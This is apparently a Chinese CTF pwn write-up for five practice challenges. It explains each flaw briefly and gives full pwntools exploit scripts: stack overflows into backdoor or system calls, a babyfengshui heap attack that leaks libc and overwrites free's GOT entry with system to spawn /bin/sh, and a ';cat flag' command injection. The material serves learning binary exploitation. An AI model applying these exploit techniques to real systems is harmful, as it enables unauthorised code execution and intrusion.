46 jarvisoj_test_your_memory
保护
这个地方有个溢出。
后门函数,cat flag都有,就直接一把梭。
from pwn import*
r = process('./46')
system_addr = 0x08048440
cat_flag = 0x080487E0
payload='A'*0x17 + p32(system_addr) + p32(cat_flag) + p32(cat_flag)
r.sendline(payload)
r.interactive()
47 babyfengshui_33c3_2016
保护
一看就知道是个堆。逻辑复杂。
add
堆题首先就是要把它的结构分析清楚。
delete
指针就清空了一个,所以是有uaf的。
display
输出函数平平无奇。
update
又是菜单题 这非常的pwn
这种函数逐渐的引起了我的注意
所以这是个啥意思?
if ( (char *)(v3 + *(_DWORD *)ptr[a1]) >= (char *)ptr[a1] - 4 )
它其实是不想让我们像前面那道题一样一上来直接unlink,从而控制它的这个数组,也不能堆溢出。
但是其实你仔细研究一下的话会发现这个检查机制很初级,有问题,它只能检测内存分配的时候description的chunk与ptr指向的chunk不会发生溢出。
这个检查问题就出在它默认des一定在node上面而且贴在一起,但是呢,我们最后的结果就是构造了一种情况,des在node上面,但是不是贴在一起的,这就造成了能往中间写东西。
第一个图是申请了三个note,内存是这样的
上面所有大小都是0x80
将第一个node释放掉, 然后上面会空出来0x100大小的空间,然后再写一个0x100大小的des,就会有图二的结果。
然后des2到nod2都是可以写的,就蟹盖free的got表,改成sys,然后在des2里面写入/bin/sh,然后free2就行了
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
context.terminal=['tmux','splitw','-h']
p = process('./47')
libc = ELF("/glibc/2.19/32/lib/libc-2.19.so")
elf=ELF("./babyfengshui")
def add(deslen,txtlen,text):
p.sendlineafter("Action: ",str(0))
p.sendlineafter("size of description: ",str(deslen))
p.sendlineafter("name: ",'breeze')
p.sendlineafter("text length: ",str(txtlen))
p.sendlineafter("text: ",text)
def delete(id):
p.sendlineafter("Action: ",str(1))
p.sendlineafter("index: ",str(id))
def Display(id):
p.sendlineafter("Action: ",str(2))
p.sendlineafter("index: ",str(id))
def update(id,txtlen,text):
p.sendlineafter("Action: ",str(3))
p.sendlineafter("index: ",str(id))
p.sendlineafter("text length: ",str(txtlen))
p.sendlineafter("text: ",text)
free_got=elf.got['free']
add(0x20,0x20,'a'*0x20) #0
add(0x20,0x20,'a'*0x20) #1
delete(0)
add(0x80,0xb8,'a'*0xb0+p32(free_got)) #2
add(0x80,0x8,'/bin/sh\x00') #3
p.recvuntil("description: ")
leak=u32(p.recv(4))
libc_base=leak-(0xf7d9dc30 -0xf7d28000)
system_addr=libc_base+libc.symbols['system']
update(1,4,p32(system_addr))
delete(3)
p.interactive()
# -*- coding: utf-8 -*-
from pwn import *
context(arch='amd64', os='linux',log_level='debug')
#context.terminal=['tmux','splitw','-h']
r = remote('node3.buuoj.cn', 28941)
#r = process('./47')
libc = ELF("./32/libc-2.23.so")
elf=ELF("./47")
def add(deslen,txtlen,text):
r.sendlineafter("Action: ","0")
r.sendlineafter("size of description: ",str(deslen))
r.sendlineafter("name: ",'yongibaoi')
r.sendlineafter("text length: ",str(txtlen))
r.sendlineafter("text: ",text)
#这里面包括下面都要注意0要写"0"
#deslen要写str(deslen)
#将他们转换成字符串类是因为你想输入的就是字符串
def delete(id):
r.sendlineafter("Action: ",str(1))
r.sendlineafter("index: ",str(id))
def Display(id):
r.sendlineafter("Action: ",str(2))
r.sendlineafter("index: ",str(id))
def update(id,txtlen,text):
r.sendlineafter("Action: ",str(3))
r.sendlineafter("index: ",str(id))
r.sendlineafter("text length: ",str(txtlen))
r.sendlineafter("text: ",text)
free_got=elf.got['free']
add(0x80, 0x80, 'a')
add(0x80, 0x80, 'a')
add(0x8, 0x8, '/bin/sh\x00')
delete(0)
add(0x100, 0x19c, "a"*0x198+p32(elf.got['free']))
Display(1)
r.recvuntil("description: ")
free_addr = u32(r.recv(4))
libc_base = free_addr - libc.sym['free']
sys_addr = libc_base + libc.sym['system']
update(1, 0x4, p32(sys_addr))
delete(2)
r.interactive()
48 picoctf_2018_buffer overflow 1
保护
后门函数有了。
就平平无奇栈溢出。
from pwn import*
r = remote('node3.buuoj.cn', 28047)
cat_flag = 0x080485cb
ret_addr = 0x0804865c
payload='A' * 44 + p32(cat_flag)
r.sendline(payload)
r.interactive()
49 bjdctf_2020_router
保护
这是什么玩意……
1下面明显有个system
但是
输命令会显示在ping它
利用了linux下的命令机制,命令1+;+命令2 这样的格式两种指令都会执行
所以就输入;cat flag
就可以了。
50 [ZJCTF 2019]Login
保护
C++类和对象都上了。
这后门函数看着是admin的。
整个逻辑大概就是管理员的名字是Admin,然后密码是里面那一串。
逆向分析起来还是比较麻烦的,找关键地方。
这里有call rax,分析rax的来源。
找到了read passwd里面的rax会用到var 18,从s覆盖过去就行。
from pwn import *
r = remote('node3.buuoj.cn',26816)
backdoor = 0x400e88
r.sendlineafter(': ','admin')
r.sendlineafter(': ','2jctf_pa5sw0rd'+'\x00'*0x3a+p64(backdoor))
r.interactive()